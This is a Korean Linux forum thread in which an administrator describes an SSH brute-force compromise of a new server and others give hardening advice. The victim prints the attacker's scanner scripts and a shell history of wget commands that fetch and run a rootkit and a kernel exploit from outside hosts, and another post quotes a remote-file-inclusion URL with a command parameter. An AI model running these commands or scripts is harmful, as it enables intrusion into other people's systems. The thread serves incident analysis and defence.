화요일날 서버를 설치했는데 해킹을 당했습니다.

kealyung의 이미지

아주 빠른 시간내에 해킹을 당했는데..
어떻게 이렇게 빠른 시간내에..
ip는 어떻게 알아가지고 해킹을 했는지
참으로 궁금하기도 하고..
해킹만 당한것이 아니라..
해킹 당한 후에
타 시스템을 공격하는데 도용이 되었다고 하는군요..

netstat를 해보니..
우리 서버에서 다른 서버의 22번 포트를 통해서 계속 접속 하는데..
그 갯수가 장난이 아니더군요..

mycluster의 이미지

요 며칠 사이에 22번 포트에다가 대고 암호를 마구잡이로 바꿔가면서 접근하고 있나봅니다. 대부분 root의 암호가 아주 심플(저도 하나 설치중이라 아주 단순하게 했다가.. ㅠ..ㅠ)한 것이 주로 당하고 있읍니다. 그나마 당한 리눅스 머신이 x86이 아니라서 별탈은 없더군요. 암호를 복잡하게 바꾸는게 좋을 듯 합니다.

--------------------------------
윈도위의 리눅스 윈도위의 윈도우 리눅스위의 익스플로러

Necromancer의 이미지

ssh 포트를 22번이 아닌 다른데로 돌리는것도 좋죠.

개인적으로 7xxx대 포트에다 ssh 돌립니다.

아 참 그리고 ssh 정규포트(22)에는 짱깨쉐이들이 무슨 공격툴로
root, admin, user, test, guest 등등의 계정에 접근을 자주 시도하고 있습니다.
ip는 지멋대로 골라 하는거 같더군요. 암호 간단히 하면 하룻밤사이에 뚫립니다.
요며칠사이가 아니라 이미 몇년 전부터 계속 그러고 있습니다.

Written By the Black Knight of Destruction

ydhoney의 이미지

ssh를 루트나 기본계정들로 접근이 가능하게 냅두시나요? -_-;

어떻게 그렇게 쓸수가 있지요? -_-a;;

opt의 이미지

흑기사 wrote:
ssh 포트를 22번이 아닌 다른데로 돌리는것도 좋죠.
개인적으로 7xxx대 포트에다 ssh 돌립니다.

최근의 자동화된 ssh brute force 공격은 22번 포트에 대해서만 아니라, 상위 포트에 대해서도 공격시도를 합니다.

공격자의 무지에 의존하는 보안(security by obscurity)은 전혀 도움이 되지 않습니다. 공격자가 당연히 모를 것이라고 가정했던 부분을 공격자는 공격하는 와중에 알아채기 때문입니다.

이 공격이 성공하는 근본 원인은 취약한 패스워드 때문이지, ssh이 22번 포트에 돌기 때문이 아닙니다.

근본 원인을 제거하지 않고, 포트를 다른 쪽으로 변경하는 것은 사람에 비유하면 상처부위에 염증이 생겼는데 염증을 치료하지 않고, 보기 흉하다고 상처부위를 맨살로 덮어씌우는 것과 같은 것입니다. 결국 상처가 더 썩어들어가서 나중에는 멀쩡한 사지를 절단해야 하는 일이 발생하게 됩니다.

해당 공격에 대해 궁금한 내용은 http://linux-sarang.net/board/?p=read&table=qa&no=208642&page=5를 참고하시면 도움이 되지 않을까 합니다.

----
LUX ET VERITAS | Just for Fun!

emptysky의 이미지

ydhoney wrote:
ssh를 루트나 기본계정들로 접근이 가능하게 냅두시나요? -_-;

어떻게 그렇게 쓸수가 있지요? -_-a;;


root 는 그렇다 하더라도 일반계정도 ssh 의 일반적인 접근을 막는다면
무엇을 사용하게 하는지요?
ssh + tcpwrapper(or iptables) 같은 ip 필터링을 말하시는건가요?
비암호화 telnet을 사용하는건 아닐테구요

『 아픔은.. 아픔을 달래줄 약이 무엇인지 알면서도 쓰지 못할 때 비로소 그 아픔의 깊이를 알수가 있음이다. 』
『 for return...』

ydhoney의 이미지

emptysky wrote:
ydhoney wrote:
ssh를 루트나 기본계정들로 접근이 가능하게 냅두시나요? -_-;

어떻게 그렇게 쓸수가 있지요? -_-a;;


root 는 그렇다 하더라도 일반계정도 ssh 의 일반적인 접근을 막는다면
무엇을 사용하게 하는지요?
ssh + tcpwrapper(or iptables) 같은 ip 필터링을 말하시는건가요?
비암호화 telnet을 사용하는건 아닐테구요
아예 외부접속을 막는다는 말인가요?

아니요..su로 루트는 들어가겠지만 그 외에 ssh접속으로 들어올 수 있는건

관리자 필요에 따른 관리자 개인id만 냅두거든요. 그러니까 공격하는 사람도

관리자의 개인id를 모르면 공격하기 쉽지 않은거지요.

기본으로 깔리는 다른 계정들은 ssh접속을 모두 막아두지요 그냥..

뭐 ssh를 많이 쓰는 서버라면 각 사용자별 id도 같이 냅두는거고..

프비라서 관리자 개인용으로 쓰는 id만 wheel그룹으로 두고 나머지는

다 막습니다. -_-a;

뭐 다른건 무슨 삽질로든 막아봤자 그 친구들이 못 뚫는게 아니니..-_-a;

환골탈태의 이미지

먼저 ssh를 업데이트 한판하고..

ssh전용 서버를 두고 거기서 임시 계정을 부여합니다.
보통 password age를 짧게 주고요

그 뒤에 있는 서버들은 그 ssh 전용서버에서만 오는 접속만 허용하죠..
또한 AllowUser 옵션으로 접속이 필요한 계정만 허용하고요..

__________________________________________________
모두 다 Hardy로 업그레이드 하고 있습니다.

emptysky의 이미지

try365 wrote:
먼저 ssh를 업데이트 한판하고..

ssh전용 서버를 두고 거기서 임시 계정을 부여합니다.
보통 password age를 짧게 주고요

그 뒤에 있는 서버들은 그 ssh 전용서버에서만 오는 접속만 허용하죠..
또한 AllowUser 옵션으로 접속이 필요한 계정만 허용하고요..


저 역시 DMZ를 두고서 비슷하게 사용합니다. :)

ydhoney 님 역시 실시간 리플 ㅎㅎㅎ :wink:

『 아픔은.. 아픔을 달래줄 약이 무엇인지 알면서도 쓰지 못할 때 비로소 그 아픔의 깊이를 알수가 있음이다. 』
『 for return...』

ydhoney의 이미지

emptysky wrote:
ydhoney 님 역시 실시간 리플 ㅎㅎㅎ :wink:
:lol:=v
orangecrs의 이미지

새로 설치하신다면... 그후
일단 필터하시고, ...

nessus로 함 밀어 보세요...
그리고 업뎃하시고...

가끔 kldp에 들어가고 싶...
절대 안들어가 봤습니다...;;;

---------------------------------------------------
야!...

kealyung의 이미지

netstat -anp를 이용해서
조회를 해보니
/dev/shm/ssh라는 폴더에 있는
pscan2라는 프로세스가 계속 다른 pc에 있는걸 접근하는군요..
일단 ssh라는 폴더를 지우닌까..계속 접속을 하지는 않네요..

이 폴더 안에
go.sh라는 쉘 파일이 있는데..
./ss 22 -b $1 -i eth0 -s 6
cat bios.txt |sort | uniq > uniq.txt
./sshf
rm -f bios.txt
이렇게 되어 있네요..

폴더 안에 보면..
drwx------ 2 99 nobody 240 Nov 12 02:02 .
drwxrwxrwt 3 root root 60 Nov 11 22:15 ..
-rwx------ 1 99 nobody 4225 Jul 22 09:35 129
-rw------- 1 99 nobody 0 Jul 23 09:28 129.98.pscan.22
-rw-r--r-- 1 root root 0 Nov 12 02:02 133.20.pscan.22
-rwx------ 1 99 nobody 605 Sep 7 00:11 assh
-rwx------ 1 99 nobody 206 Jul 22 09:52 auto
-rwx------ 1 99 nobody 85 Jul 13 03:10 go.sh
-rwx------ 1 99 nobody 21407 Jul 22 06:58 pscan2
-rwx------ 1 99 nobody 453972 Jul 13 03:09 ss
-rwxr-xr-x 1 root root 842424 Sep 6 19:20 sshf
-rw-r--r-- 1 root root 27 Nov 12 01:30 vuln.txt

이렇게 되어 있네요..

bash_history 에 보니
cd /dev/shm/ssh
ls
cat vuln.txt
rm -rf vuln.txt
./assh 203.163 ;./assh 203.162 ;./assh 81.176 ;./assh 81.177

----
지운지 한 30분만에 다시 폴더가 생겨나고..
다시 또다시 접근을..
흠..
assh를 보니
#!/bin/bash
if [ $# != 1 ]; then
echo " usage: $0 <b class>"
exit;
fi

echo " Versiune de scaner privata!"
echo "----------------------------------------------------"
echo " All my love for Liz! "
echo "----------------------------------------------------"
echo "# incep scanarea ..."
./pscan2 $1 22

sleep 10
cat $1.pscan.22 |sort |uniq > uniq.txt
oopsnr2=`grep -c . uniq.txt`
echo "# Am gasit $oopsnr2 de servere"
echo "----------------------------------------"
echo "# Incepem..."
./sshf 50
rm -rf $1.pscan.22 uniq.txt
echo "Asta a fost tot"

Versiune 이 단어가 뭔지는 모르겠는데..
구글 검색에서 뒤져보니..
루마니아 회사 설명에서 나오는거 보니..
아마도 루마니아에서 해킹을 시도한듯..

kealyung의 이미지

oracle pts/3 Jun 25 13:32 (195.190.159.147)

이놈입니다.
이놈이 들어와서
wget puidedrac.org/rk.tgz ; tar -zxf rk.tgz ; cd rk ; ./setup GiGiKenT 100
cd /tmp
cd brk
ls
id
./brk
exit
passwd
exit
w
cd /tmp
wget www.icet.as.ro/brk
chmod +x brk
./brk
su -

.bash_history에 이력이 남아 있네요..

이거에 대한 보복을 어떻게 해야 하나요?

angpoo의 이미지

kealyung wrote:
oracle pts/3 Jun 25 13:32 (195.190.159.147)

이놈입니다.
...
이거에 대한 보복을 어떻게 해야 하나요?


id가 oracle인걸 보면 그놈은 깃털입니다. 몸통은 그 너머에 있습니다.
kealyung의 이미지

id가 오라클인걸 보면 깃털이라고 하셨는데..
무슨 말인지 잘 모르겠습니다.
일단 해킹을 어떻게 했는가 그대로 따라 해보니
일반 계정에서 root계정으로 그냥 넘어가더군요..
일단 일반 계정의 password 가 뚤린 상태에서
root로 들어온 후에..
작업을 한 거 같습니다.

관련 문서들을 보니
brk()를 이용한 커널 버그를 이용했더군요..

angpoo의 이미지

id랑은 직접적인 연관이 있는건 아니지만
하여간에 그놈이 oracle로 접속했을 가능성보다
그놈이 뚫은 컴에 설치한 프로그램이 뚫은 컴에 설치한 프로램이 뚫은 컴에......... 설치한 프로그램일 가능성이 높다는 뜻으로 한 얘깁니다.

ydhoney의 이미지

angpoo wrote:
id랑은 직접적인 연관이 있는건 아니지만
하여간에 그놈이 oracle로 접속했을 가능성보다
그놈이 뚫은 컴에 설치한 프로그램이 뚫은 컴에 설치한 프로램이 뚫은 컴에......... 설치한 프로그램일 가능성이 높다는 뜻으로 한 얘깁니다.

설마 그렇게 잔머리 굴렸을라구요.

그냥 프록시로 들어오지 않았을까요?

중국애들은 그냥 프록시타고 오던데요. :-)

warpdory의 이미지

요새 많이 보이는 패턴이군요.

저런 서버 하루에 몇개씩은 보는 듯 합니다.

속 편하게 새로 깔고 필요없는 데서 못 들어오게 iptables 떡칠 + 보안 패치 + 약간의 잔머리면 됩니다.

제 경우에는 www 과 메일 들어오는 것을 빼면 외부에서 접속할 수 있는 곳이 제 컴퓨터 밖엔 없도록 설정해 두었습니다. (집에 vdsl 쓰는데, 1년째 ip 가 고정입니다. 바뀌면 --- idc 로 뛰어가야 할지도 모릅니다.)


---------
귓가에 햇살을 받으며 석양까지 행복한 여행을...
웃으며 떠나갔던 것처럼 미소를 띠고 돌아와 마침내 평안하기를...
- 엘프의 인사, 드래곤 라자, 이영도

즐겁게 놀아보자.

angpoo의 이미지

ydhoney wrote:
angpoo wrote:
id랑은 직접적인 연관이 있는건 아니지만
하여간에 그놈이 oracle로 접속했을 가능성보다
그놈이 뚫은 컴에 설치한 프로그램이 뚫은 컴에 설치한 프로램이 뚫은 컴에......... 설치한 프로그램일 가능성이 높다는 뜻으로 한 얘깁니다.

설마 그렇게 잔머리 굴렸을라구요.

그냥 프록시로 들어오지 않았을까요?

중국애들은 그냥 프록시타고 오던데요. :-)


여기저기 거쳐서 접속했다는 얘기가 아니라 일단 뚫고 자동화된 프로그램을 설치하면
그 프로그램이 또 여기 저기 시도하고 뚫어서 뚫린데다 자신을 복제하고 뚫은 리스트만 한쪽으로 전송하고 그런식으로 하지 않나요?
예전에 보안헛점이 많은 시절에는 그런 애들이 종종 있었습니다.
그런데 그때 본것들은 특정 프로그램의 약점을 이용해서 바로 루트권한을 얻는데 ssh에 접속해서 root비번을 이것저것 입력해본다는 방법으로 정말 몇개나 건질 수 있을까 의구심이 가네요.
ydhoney의 이미지

angpoo wrote:
ydhoney wrote:
angpoo wrote:
id랑은 직접적인 연관이 있는건 아니지만
하여간에 그놈이 oracle로 접속했을 가능성보다
그놈이 뚫은 컴에 설치한 프로그램이 뚫은 컴에 설치한 프로램이 뚫은 컴에......... 설치한 프로그램일 가능성이 높다는 뜻으로 한 얘깁니다.

설마 그렇게 잔머리 굴렸을라구요.

그냥 프록시로 들어오지 않았을까요?

중국애들은 그냥 프록시타고 오던데요. :-)


여기저기 거쳐서 접속했다는 얘기가 아니라 일단 뚫고 자동화된 프로그램을 설치하면
그 프로그램이 또 여기 저기 시도하고 뚫어서 뚫린데다 자신을 복제하고 뚫은 리스트만 한쪽으로 전송하고 그런식으로 하지 않나요?
예전에 보안헛점이 많은 시절에는 그런 애들이 종종 있었습니다.
그런데 그때 본것들은 특정 프로그램의 약점을 이용해서 바로 루트권한을 얻는데 ssh에 접속해서 root비번을 이것저것 입력해본다는 방법으로 정말 몇개나 건질 수 있을까 의구심이 가네요.

처음 글 올리신 분을 보세요. :)

angpoo의 이미지

ydhoney wrote:
처음 글 올리신 분을 보세요. :)

사실은 정말 궁금하지만 차마 못 물어본건데 패스워드를 뭘로 하셨데요?
매맞는아이의 이미지

비번 입력에 의한 공격은 힘듭니다..
말 그대로 비번이 사전에서 나오는 일반적인 단어가 아닌 이상 힘들죠..

커널 brk버그 같은 경우도 나온지 몇달이 지났습니다..
작년 말에 나왔나..;;

버그 메일링리스트나 하나정도 신청하시고..
주기적인 업데이트만 해주신다면 특별한 문제는 없을겁니다..

내가 그린 원 안에서.. 난 서 있겠지.. 언제까지나..

ㅡ,.ㅡ;;의 이미지

kealyung wrote:
oracle pts/3 Jun 25 13:32 (195.190.159.147)

이놈입니다.
이놈이 들어와서
wget puidedrac.org/rk.tgz ; tar -zxf rk.tgz ; cd rk ; ./setup GiGiKenT 100
cd /tmp
cd brk
ls
id
./brk
exit
passwd
exit
w
cd /tmp
wget www.icet.as.ro/brk
chmod +x brk
./brk
su -

.bash_history에 이력이 남아 있네요..

이거에 대한 보복을 어떻게 해야 하나요?

히스토리의 내용으로보면 어쨋든 su 에 버그가 존재하는거 아닌가요..


----------------------------------------------------------------------------

LispM의 이미지

리눅스 서버는 처음 설치해서 길가(?)에 내놓았는데, 설치시 보안문서 참고해서 셋팅했더니, 아직까지 별다른 사고는 없었습니다(IDC에서 한번 네트워크로 웜이 돌아다니면서 트래픽을 올리는 사건이 있어서 한번 격리시켰다는데, 알고 보니 제것만 무사하고 다른 것은 거의 다 문제가 있었다나요)
http://www.linuxsecurity.com/docs/ 의 Securing and Optimizing Linux: Red Hat Edition 와 Securing Debian HOWTO 을 참조했었는데, 처음 치고는 잘 한 듯 합니다.(자화자찬) 위에서 언급된 내용들도 거의 다 다루었던 것으로 생각합니다.

http://lisp.or.kr http://lisp.kldp.org - 한국 리습 사용자 모임

ydhoney의 이미지

와..내가 못살아 못살아;;

제가 아는 어디어디어디어디가 좀전에 이걸로 뚫렸어요..-Q-;;

(레댓 7.3;;)

(그나저나 게시판 스킨이 아직 만들어지는 과정인가보네요. 아직까지 동일한거 보니;;)

hanbyeol의 이미지


ssh 로그인 시도가 많아서 denyhosts로 ip 접근 차단해 놓고 있습니다.

http://denyhosts.sourceforge.net

무혼인형의 이미지

ssh 외에서 침입 경로가...
http://hostname.com/main.php?url=http://www.agatsuma.kit.net/blabla/vsf.vsf?&cmd=ls%20/home/test/public_html/

이런 식으로 외부 include를 통해서 들어오는 것도 많이 잡히고 있습니다 -_-
이번에 ids를 제작한 기념으로 웹서버에 달아 놨더니 그동안 몰라서 방치해 둔 부분이 너무나 많더군요;;

김정균의 이미지

ssh broute force attack 이라고 일종의 dictionary attack 입니다. 이미 소스도 많이 공개 되어 있고요. 소스안에 account 와 passwd 사전이 static 하게 박혀 있습니다. 공개된 소스들은 대부분 사전 부분만 가린채 공개가 되어 있죠.

이 공격의 패턴은 일단 account 와 passwd 가 일치되어 로그인이 되면, 외부에서 해당 소스를 자동을 받아와서 뚫은 서버를 숙주로 하여 또 다른 사이트를 공격 하고 spam 을 발송 합니다. (spam 보내는 데는 굳이 root 가 필요 없으므로..)

spam 발송의 경우에는 local smtp 를 이용하는 경우도 있고, 아예 smtp 능력을 가지고 있는 binary 가 구동되는 경우도 있습니다.

이와 함께, 몇몇 local exploit 을 체크해서 가능한 것이 있으면, root 권한을 얻어서 변조도 시행을 합니다.

이에 대한 방어로는

http://my.oops.org/index.php?pl=56

를 참고 하세용

Kernel 2.6 ... OTZ